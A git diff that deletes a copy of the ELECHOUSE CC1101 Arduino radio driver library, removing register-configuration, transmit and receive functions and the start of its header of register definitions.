-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 3){setPA(pa);}

-}

-}

-else if (MHz >= 900 && MHz <= 928){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1]));

-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 4){setPA(pa);}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Calibration offset

-*FUNCTION     :Set calibration offset

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){

-if (b == 1){

-clb1[0]=s;

-clb1[1]=e;  

-}

-else if (b == 2){

-clb2[0]=s;

-clb2[1]=e;  

-}

-else if (b == 3){

-clb3[0]=s;

-clb3[1]=e;  

-}

-else if (b == 4){

-clb4[0]=s;

-clb4[1]=e;  

-}

-}

-/****************************************************************

-*FUNCTION NAME:getCC1101

-*FUNCTION     :Test Spi connection and return 1 when true.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-bool ELECHOUSE_CC1101::getCC1101(void){

-setSpi();

-if (SpiReadStatus(0x31)>0){

-return 1;

-}else{

-return 0;

-}

-}

-/****************************************************************

-*FUNCTION NAME:getMode

-*FUNCTION     :Return the Mode. Sidle = 0, TX = 1, Rx = 2.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-byte ELECHOUSE_CC1101::getMode(void){

-return trxstate;

-}

-/****************************************************************

-*FUNCTION NAME:Set Sync_Word

-*FUNCTION     :Sync Word

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){

-SpiWriteReg(CC1101_SYNC1, sh);

-SpiWriteReg(CC1101_SYNC0, sl);

-}

-/****************************************************************

-*FUNCTION NAME:Set ADDR

-*FUNCTION     :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF).

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setAddr(byte v){

-SpiWriteReg(CC1101_ADDR, v);

-}

-/****************************************************************

-*FUNCTION NAME:Set PQT

-*FUNCTION     :Preamble quality estimator threshold

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPQT(byte v){

-Split_PKTCTRL1();

-pc1PQT = 0;

-if (v>7){v=7;}

-pc1PQT = v*32;

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set CRC_AUTOFLUSH

-*FUNCTION     :Enable automatic flush of RX FIFO when CRC is not OK

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setCRC_AF(bool v){

-Split_PKTCTRL1();

-pc1CRC_AF = 0;

-if (v==1){pc1CRC_AF=8;}

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set APPEND_STATUS

-*FUNCTION     :When enabled, two status bytes will be appended to the payload of the packet

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setAppendStatus(bool v){

-Split_PKTCTRL1();

-pc1APP_ST = 0;

-if (v==1){pc1APP_ST=4;}

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set ADR_CHK

-*FUNCTION     :Controls address check configuration of received packages

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setAdrChk(byte v){

-Split_PKTCTRL1();

-pc1ADRCHK = 0;

-if (v>3){v=3;}

-pc1ADRCHK = v;

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set WHITE_DATA

-*FUNCTION     :Turn data whitening on / off.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setWhiteData(bool v){

-Split_PKTCTRL0();

-pc0WDATA = 0;

-if (v == 1){pc0WDATA=64;}

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set PKT_FORMAT

-*FUNCTION     :Format of RX and TX data

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPktFormat(byte v){

-Split_PKTCTRL0();

-pc0PktForm = 0;

-if (v>3){v=3;}

-pc0PktForm = v*16;

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set CRC

-*FUNCTION     :CRC calculation in TX and CRC check in RX

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setCrc(bool v){

-Split_PKTCTRL0();

-pc0CRC_EN = 0;

-if (v==1){pc0CRC_EN=4;}

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set LENGTH_CONFIG

-*FUNCTION     :Configure the packet length

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setLengthConfig(byte v){

-Split_PKTCTRL0();

-pc0LenConf = 0;

-if (v>3){v=3;}

-pc0LenConf = v;

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set PACKET_LENGTH

-*FUNCTION     :Indicates the packet length

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPacketLength(byte v){

-SpiWriteReg(CC1101_PKTLEN, v);

-}

-/****************************************************************

-*FUNCTION NAME:Set DCFILT_OFF

-*FUNCTION     :Disable digital DC blocking filter before demodulator

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setDcFilterOff(bool v){

-Split_MDMCFG2();

-m2DCOFF = 0;

-if (v==1){m2DCOFF=128;}

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-}

-/****************************************************************

-*FUNCTION NAME:Set MANCHESTER

-*FUNCTION     :Enables Manchester encoding/decoding

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setManchester(bool v){

-Split_MDMCFG2();

-m2MANCH = 0;

-if (v==1){m2MANCH=8;}

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-}

-/****************************************************************

-*FUNCTION NAME:Set SYNC_MODE

-*FUNCTION     :Combined sync-word qualifier mode

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSyncMode(byte v){

-Split_MDMCFG2();

-m2SYNCM = 0;

-if (v>7){v=7;}

-m2SYNCM=v;

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-}

-/****************************************************************

-*FUNCTION NAME:Set FEC

-*FUNCTION     :Enable Forward Error Correction (FEC)

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setFEC(bool v){

-Split_MDMCFG1();

-m1FEC=0;

-if (v==1){m1FEC=128;}

-SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);

-}

-/****************************************************************

-*FUNCTION NAME:Set PRE

-*FUNCTION     :Sets the minimum number of preamble bytes to be transmitted.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPRE(byte v){

-Split_MDMCFG1();

-m1PRE=0;

-if (v>7){v=7;}

-m1PRE = v*16;

-SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);

-}

-/****************************************************************

-*FUNCTION NAME:Set Channel

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setChannel(byte ch){

-chan = ch;

-SpiWriteReg(CC1101_CHANNR,   chan);

-}

-/****************************************************************

-*FUNCTION NAME:Set Channel spacing

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setChsp(float f){

-Split_MDMCFG1();

-byte MDMCFG0 = 0;

-m1CHSP = 0;

-if (f > 405.456543){f = 405.456543;}

-if (f < 25.390625){f = 25.390625;}

-for (int i = 0; i<5; i++){

-if (f <= 50.682068){

-f -= 25.390625;

-f /= 0.0991825;

-MDMCFG0 = f;

-float s1 = (f - MDMCFG0) *10;

-if (s1 >= 5){MDMCFG0++;}

-i = 5;

-}else{

-m1CHSP++;

-f/=2;

-}

-}

-SpiWriteReg(19,m1CHSP+m1FEC+m1PRE);

-SpiWriteReg(20,MDMCFG0);

-}

-/****************************************************************

-*FUNCTION NAME:Set Receive bandwidth

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setRxBW(float f){

-Split_MDMCFG4();

-int s1 = 3;

-int s2 = 3;

-for (int i = 0; i<3; i++){

-if (f > 101.5625){f/=2; s1--;}

-else{i=3;}

-}

-for (int i = 0; i<3; i++){

-if (f > 58.1){f/=1.25; s2--;}

-else{i=3;}

-}

-s1 *= 64;

-s2 *= 16;

-m4RxBw = s1 + s2;

-SpiWriteReg(16,m4RxBw+m4DaRa);

-}

-/****************************************************************

-*FUNCTION NAME:Set Data Rate

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setDRate(float d){

-Split_MDMCFG4();

-float c = d;

-byte MDMCFG3 = 0;

-if (c > 1621.83){c = 1621.83;}

-if (c < 0.0247955){c = 0.0247955;}

-m4DaRa = 0;

-for (int i = 0; i<20; i++){

-if (c <= 0.0494942){

-c = c - 0.0247955;

-c = c / 0.00009685;

-MDMCFG3 = c;

-float s1 = (c - MDMCFG3) *10;

-if (s1 >= 5){MDMCFG3++;}

-i = 20;

-}else{

-m4DaRa++;

-c = c/2;

-}

-}

-SpiWriteReg(16,  m4RxBw+m4DaRa);

-SpiWriteReg(17,  MDMCFG3);

-}

-/****************************************************************

-*FUNCTION NAME:Set Devitation

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setDeviation(float d){

-float f = 1.586914;

-float v = 0.19836425;

-int c = 0;

-if (d > 380.859375){d = 380.859375;}

-if (d < 1.586914){d = 1.586914;}

-for (int i = 0; i<255; i++){

-f+=v;

-if (c==7){v*=2;c=-1;i+=8;}

-if (f>=d){c=i;i=255;}

-c++;

-}

-SpiWriteReg(21,c);

-}

-/****************************************************************

-*FUNCTION NAME:Split PKTCTRL0

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_PKTCTRL1(void){

-int calc = SpiReadStatus(7);

-pc1PQT = 0;

-pc1CRC_AF = 0;

-pc1APP_ST = 0;

-pc1ADRCHK = 0;

-for (bool i = 0; i==0;){

-if (calc >= 32){calc-=32; pc1PQT+=32;}

-else if (calc >= 8){calc-=8; pc1CRC_AF+=8;}

-else if (calc >= 4){calc-=4; pc1APP_ST+=4;}

-else {pc1ADRCHK = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split PKTCTRL0

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_PKTCTRL0(void){

-int calc = SpiReadStatus(8);

-pc0WDATA = 0;

-pc0PktForm = 0;

-pc0CRC_EN = 0;

-pc0LenConf = 0;

-for (bool i = 0; i==0;){

-if (calc >= 64){calc-=64; pc0WDATA+=64;}

-else if (calc >= 16){calc-=16; pc0PktForm+=16;}

-else if (calc >= 4){calc-=4; pc0CRC_EN+=4;}

-else {pc0LenConf = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split MDMCFG1

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_MDMCFG1(void){

-int calc = SpiReadStatus(19);

-m1FEC = 0;

-m1PRE = 0;

-m1CHSP = 0;

-int s2 = 0;

-for (bool i = 0; i==0;){

-if (calc >= 128){calc-=128; m1FEC+=128;}

-else if (calc >= 16){calc-=16; m1PRE+=16;}

-else {m1CHSP = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split MDMCFG2

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_MDMCFG2(void){

-int calc = SpiReadStatus(18);

-m2DCOFF = 0;

-m2MODFM = 0;

-m2MANCH = 0;

-m2SYNCM = 0;

-for (bool i = 0; i==0;){

-if (calc >= 128){calc-=128; m2DCOFF+=128;}

-else if (calc >= 16){calc-=16; m2MODFM+=16;}

-else if (calc >= 8){calc-=8; m2MANCH+=8;}

-else{m2SYNCM = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split MDMCFG4

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_MDMCFG4(void){

-int calc = SpiReadStatus(16);

-m4RxBw = 0;

-m4DaRa = 0;

-for (bool i = 0; i==0;){

-if (calc >= 64){calc-=64; m4RxBw+=64;}

-else if (calc >= 16){calc -= 16; m4RxBw+=16;}

-else{m4DaRa = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:RegConfigSettings

-*FUNCTION     :CC1101 register config //details refer datasheet of CC1101/CC1100//

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::RegConfigSettings(void) 

-{   

-    SpiWriteReg(CC1101_FSCTRL1,  0x06);

-    

-    setCCMode(ccmode);

-    setMHZ(MHz);

-    

-    SpiWriteReg(CC1101_MDMCFG1,  0x02);

-    SpiWriteReg(CC1101_MDMCFG0,  0xF8);

-    SpiWriteReg(CC1101_CHANNR,   chan);

-    SpiWriteReg(CC1101_DEVIATN,  0x47);

-    SpiWriteReg(CC1101_FREND1,   0x56);

-    SpiWriteReg(CC1101_MCSM0 ,   0x18);

-    SpiWriteReg(CC1101_FOCCFG,   0x16);

-    SpiWriteReg(CC1101_BSCFG,    0x1C);

-    SpiWriteReg(CC1101_AGCCTRL2, 0xC7);

-    SpiWriteReg(CC1101_AGCCTRL1, 0x00);

-    SpiWriteReg(CC1101_AGCCTRL0, 0xB2);

-    SpiWriteReg(CC1101_FSCAL3,   0xE9);

-    SpiWriteReg(CC1101_FSCAL2,   0x2A);

-    SpiWriteReg(CC1101_FSCAL1,   0x00);

-    SpiWriteReg(CC1101_FSCAL0,   0x1F);

-    SpiWriteReg(CC1101_FSTEST,   0x59);

-    SpiWriteReg(CC1101_TEST2,    0x81);

-    SpiWriteReg(CC1101_TEST1,    0x35);

-    SpiWriteReg(CC1101_TEST0,    0x09);

-    SpiWriteReg(CC1101_PKTCTRL1, 0x04);

-    SpiWriteReg(CC1101_ADDR,     0x00);

-    SpiWriteReg(CC1101_PKTLEN,   0x00);

-}

-/****************************************************************

-*FUNCTION NAME:SetTx

-*FUNCTION     :set CC1101 send data

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetTx(void)

-{

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_STX);        //start send

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:SetRx

-*FUNCTION     :set CC1101 to receive state

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetRx(void)

-{

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_SRX);        //start receive

-  trxstate=2;

-}

-/****************************************************************

-*FUNCTION NAME:SetTx

-*FUNCTION     :set CC1101 send data and change frequency

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetTx(float mhz)

-{

-  SpiStrobe(CC1101_SIDLE);

-  setMHZ(mhz);

-  SpiStrobe(CC1101_STX);        //start send

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:SetRx

-*FUNCTION     :set CC1101 to receive state and change frequency

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetRx(float mhz)

-{

-  SpiStrobe(CC1101_SIDLE);

-  setMHZ(mhz);

-  SpiStrobe(CC1101_SRX);        //start receive

-  trxstate=2;

-}

-/****************************************************************

-*FUNCTION NAME:RSSI Level

-*FUNCTION     :Calculating the RSSI Level

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-int ELECHOUSE_CC1101::getRssi(void)

-{

-int rssi;

-rssi=SpiReadStatus(CC1101_RSSI);

-if (rssi >= 128){rssi = (rssi-256)/2-74;}

-else{rssi = (rssi/2)-74;}

-return rssi;

-}

-/****************************************************************

-*FUNCTION NAME:LQI Level

-*FUNCTION     :get Lqi state

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-byte ELECHOUSE_CC1101::getLqi(void)

-{

-byte lqi;

-lqi=SpiReadStatus(CC1101_LQI);

-return lqi;

-}

-/****************************************************************

-*FUNCTION NAME:SetSres

-*FUNCTION     :Reset CC1101

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSres(void)

-{

-  SpiStrobe(CC1101_SRES);

-  trxstate=0;

-}

-/****************************************************************

-*FUNCTION NAME:setSidle

-*FUNCTION     :set Rx / TX Off

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSidle(void)

-{

-  SpiStrobe(CC1101_SIDLE);

-  trxstate=0;

-}

-/****************************************************************

-*FUNCTION NAME:goSleep

-*FUNCTION     :set cc1101 Sleep on

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::goSleep(void){

-  trxstate=0;

-  SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit

-  SpiStrobe(0x39);//Enter power down mode when CSn goes high.

-}

-/****************************************************************

-*FUNCTION NAME:Char direct SendData

-*FUNCTION     :use CC1101 send data

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(char *txchar)

-{

-int len = strlen(txchar);

-byte chartobyte[len];

-for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}

-SendData(chartobyte,len);

-}

-/****************************************************************

-*FUNCTION NAME:SendData

-*FUNCTION     :use CC1101 send data

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size)

-{

-  SpiWriteReg(CC1101_TXFIFO,size);

-  SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size);      //write data to send

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_STX);                  //start send

-    while (!digitalRead(GDO0));               // Wait for GDO0 to be set -> sync transmitted  

-    while (digitalRead(GDO0));                // Wait for GDO0 to be cleared -> end of packet

-  SpiStrobe(CC1101_SFTX);                 //flush TXfifo

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:Char direct SendData

-*FUNCTION     :use CC1101 send data without GDO

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(char *txchar,int t)

-{

-int len = strlen(txchar);

-byte chartobyte[len];

-for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}

-SendData(chartobyte,len,t);

-}

-/****************************************************************

-*FUNCTION NAME:SendData

-*FUNCTION     :use CC1101 send data without GDO

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size,int t)

-{

-  SpiWriteReg(CC1101_TXFIFO,size);

-  SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size);      //write data to send

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_STX);                  //start send

-  delay(t);

-  SpiStrobe(CC1101_SFTX);                 //flush TXfifo

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:Check CRC

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-bool ELECHOUSE_CC1101::CheckCRC(void){

-byte lqi=SpiReadStatus(CC1101_LQI);

-bool crc_ok = bitRead(lqi,7);

-if (crc_ok == 1){

-return 1;

-}else{

-SpiStrobe(CC1101_SFRX);

-SpiStrobe(CC1101_SRX);

-return 0;

-}

-}

-/****************************************************************

-*FUNCTION NAME:CheckRxFifo

-*FUNCTION     :check receive data or not

-*INPUT        :none

-*OUTPUT       :flag: 0 no data; 1 receive data 

-****************************************************************/

-bool ELECHOUSE_CC1101::CheckRxFifo(int t){

-if(trxstate!=2){SetRx();}

-if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO){

-delay(t);

-return 1;

-}else{

-return 0;

-}

-}

-/****************************************************************

-*FUNCTION NAME:CheckReceiveFlag

-*FUNCTION     :check receive data or not

-*INPUT        :none

-*OUTPUT       :flag: 0 no data; 1 receive data 

-****************************************************************/

-byte ELECHOUSE_CC1101::CheckReceiveFlag(void)

-{

-  if(trxstate!=2){SetRx();}

-	if(digitalRead(GDO0))			//receive data

-	{

-		while (digitalRead(GDO0));

-		return 1;

-	}

-	else							// no data

-	{

-		return 0;

-	}

-}

-/****************************************************************

-*FUNCTION NAME:ReceiveData

-*FUNCTION     :read data received from RXfifo

-*INPUT        :rxBuffer: buffer to store data

-*OUTPUT       :size of data received

-****************************************************************/

-byte ELECHOUSE_CC1101::ReceiveData(byte *rxBuffer)

-{

-	byte size;

-	byte status[2];

-

-	if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO)

-	{

-		size=SpiReadReg(CC1101_RXFIFO);

-		SpiReadBurstReg(CC1101_RXFIFO,rxBuffer,size);

-		SpiReadBurstReg(CC1101_RXFIFO,status,2);

-		SpiStrobe(CC1101_SFRX);

-    SpiStrobe(CC1101_SRX);

-		return size;

-	}

-	else

-	{

-		SpiStrobe(CC1101_SFRX);

-    SpiStrobe(CC1101_SRX);

- 		return 0;

-	}

-}

-ELECHOUSE_CC1101 ELECHOUSE_cc1101;
\ No newline at end of file
diff --git a/firmware/ELECHOUSE_CC1101_SRC_DRV.h b/firmware/ELECHOUSE_CC1101_SRC_DRV.h
deleted file mode 100644
index 136a9b5..0000000
--- a/firmware/ELECHOUSE_CC1101_SRC_DRV.h
+++ /dev/null
@@ -1,194 +0,0 @@
-/*

-  ELECHOUSE_CC1101.cpp - CC1101 module library

-  Copyright (c) 2010 Michael.

-    Author: Michael, <www.elechouse.com>

-    Version: November 12, 2010

-

-  This library is designed to use CC1101/CC1100 module on Arduino platform.

-  CC1101/CC1100 module is an useful wireless module.Using the functions of the 

-  library, you can easily send and receive data by the CC1101/CC1100 module. 

-  Just have fun!

-  For the details, please refer to the datasheet of CC1100/CC1101.

-----------------------------------------------------------------------------------------------------------------

-cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).

-----------------------------------------------------------------------------------------------------------------

-*/

-#ifndef ELECHOUSE_CC1101_SRC_DRV_h

-#define ELECHOUSE_CC1101_SRC_DRV_h

-

-#include <Arduino.h>

-

-//***************************************CC1101 define**************************************************//

-// CC1101 CONFIG REGSITER

-#define CC1101_IOCFG2       0x00        // GDO2 output pin configuration

-#define CC1101_IOCFG1       0x01        // GDO1 output pin configuration

-#define CC1101_IOCFG0       0x02        // GDO0 output pin configuration

-#define CC1101_FIFOTHR      0x03        // RX FIFO and TX FIFO thresholds

-#define CC1101_SYNC1        0x04        // Sync word, high INT8U

-#define CC1101_SYNC0        0x05        // Sync word, low INT8U

-#define CC1101_PKTLEN       0x06        // Packet length

-#define CC1101_PKTCTRL1     0x07        // Packet automation control

-#define CC1101_PKTCTRL0     0x08        // Packet automation control

-#define CC1101_ADDR         0x09        // Device address

-#define CC1101_CHANNR       0x0A        // Channel number

-#define CC1101_FSCTRL1      0x0B        // Frequency synthesizer control

-#define CC1101_FSCTRL0      0x0C        // Frequency synthesizer control

-#define CC1101_FREQ2        0x0D        // Frequency control word, high INT8U

-#define CC1101_FREQ1        0x0E        // Frequency control word, middle INT8U

-#define CC1101_FREQ0        0x0F        // Frequency control word, low INT8U

-#define CC1101_MDMCFG4      0x10        // Modem configuration

-#define CC1101_MDMCFG3      0x11        // Modem configuration

-#define CC1101_MDMCFG2      0x12        // Modem configuration

-#define CC1101_MDMCFG1      0x13        // Modem configuration

-#define CC1101_MDMCFG0      0x14        // Modem configuration

-#define CC1101_DEVIATN      0x15        // Modem deviation setting

-#define CC1101_MCSM2        0x16        // Main Radio Control State Machine configuration

-#define CC1101_MCSM1        0x17        // Main Radio Control State Machine configuration

-#define CC1101_MCSM0        0x18        // Main Radio Control State Machine configuration

-#define CC1101_FOCCFG       0x19        // Frequency Offset Compensation configuration

-#define CC1101_BSCFG        0x1A        // Bit Synchronization configuration

-#define CC1101_AGCCTRL2     0x1B        // AGC control

-#define CC1101_AGCCTRL1     0x1C        // AGC control

-#define CC1101_AGCCTRL0     0x1D        // AGC control

-#define CC1101_WOREVT1      0x1E        // High INT8U Event 0 timeout

-#define CC1101_WOREVT0      0x1F        // Low INT8U Event 0 timeout

-#define CC1101_WORCTRL      0x20        // Wake On Radio control

-#define CC1101_FREND1       0x21        // Front end RX configuration

-#define CC1101_FREND0       0x22        // Front end TX configuration

-#define CC1101_FSCAL3       0x23        // Frequency synthesizer calibration

-#define CC1101_FSCAL2       0x24        // Frequency synthesizer calibration

-#define CC1101_FSCAL1       0x25        // Frequency synthesizer calibration

-#define CC1101_FSCAL0       0x26        // Frequency synthesizer calibration

-#define CC1101_RCCTRL1      0x27        // RC oscillator configuration

-#define CC1101_RCCTRL0      0x28        // RC oscillator configuration

-#define CC1101_FSTEST       0x29        // Frequency synthesizer calibration control

-#define CC1101_PTEST        0x2A        // Production test

-#define CC1101_AGCTEST      0x2B        // AGC test

-#define CC1101_TEST2        0x2C        // Various test settings

-#define CC1101_TEST1        0x2D        // Various test settings

-#define CC1101_TEST0        0x2E        // Various test settings

-

-//CC1101 Strobe commands

-#define CC1101_SRES         0x30        // Reset chip.

-#define CC1101_SFSTXON      0x31        // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).

-                                        // If in RX/TX: Go to a wait state where only the synthesizer is

-                                        // running (for quick RX / TX turnaround).

-#define CC1101_SXOFF        0x32        // Turn off crystal oscillator.

-#define CC1101_SCAL         0x33        // Calibrate frequency synthesizer and turn it off

-                                        // (enables quick start).

-#define CC1101_SRX          0x34        // Enable RX. Perform calibration first if coming from IDLE and

-                                        // MCSM0.FS_AUTOCAL=1.

-#define CC1101_STX          0x35        // In IDLE state: Enable TX. Perform calibration first if

-                                        // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:

-                                        // Only go to TX if channel is clear.

-#define CC1101_SIDLE        0x36        // Exit RX / TX, turn off frequency synthesizer and exit

-                                        // Wake-On-Radio mode if applicable.

-#define CC1101_SAFC         0x37        // Perform AFC adjustment of the frequency synthesizer

-#define CC1101_SWOR         0x38        // Start automatic RX polling sequence (Wake-on-Radio)

-#define CC1101_SPWD         0x39        // Enter power down mode when CSn goes high.

-#define CC1101_SFRX         0x3A        // Flush the RX FIFO buffer.

-#define CC1101_SFTX         0x3B        // Flush the TX FIFO buffer.

-#define CC1101_SWORRST      0x3C        // Reset real time clock.

-#define CC1101_SNOP         0x3D        // No operation. May be used to pad strobe commands to two

-                                        // INT8Us for simpler software.

-//CC1101 STATUS REGSITER

-#define CC1101_PARTNUM      0x30

-#define CC1101_VERSION      0x31

-#define CC1101_FREQEST      0x32

-#define CC1101_LQI          0x33

-#define CC1101_RSSI         0x34

-#define CC1101_MARCSTATE    0x35

-#define CC1101_WORTIME1     0x36

-#define CC1101_WORTIME0     0x37

-#define CC1101_PKTSTATUS    0x38

-#define CC1101_VCO_VC_DAC   0x39

-#define CC1101_TXBYTES      0x3A

-#define CC1101_RXBYTES      0x3B

-

-//CC1101 PATABLE,TXFIFO,RXFIFO

-#define CC1101_PATABLE      0x3E

-#define CC1101_TXFIFO       0x3F

-#define CC1101_RXFIFO       0x3F

-

-//************************************* class **************************************************//

-class ELECHOUSE_CC1101

-{

-private:

-  void SpiStart(void);

-  void SpiEnd(void);

-  void GDO_Set (void);

-  void GDO0_Set (void);

-  void Reset (void);

-  void setSpi(void);

-  void RegConfigSettings(void);

-  void Calibrate(void);

-  void Split_PKTCTRL0(void);

-  void Split_PKTCTRL1(void);

-  void Split_MDMCFG1(void);

-  void Split_MDMCFG2(void);

-  void Split_MDMCFG4(void);

-public:

-  void Init(void);

-  byte SpiReadStatus(byte addr);

-  void setSpiPin(byte sck, byte miso, byte mosi, byte ss);

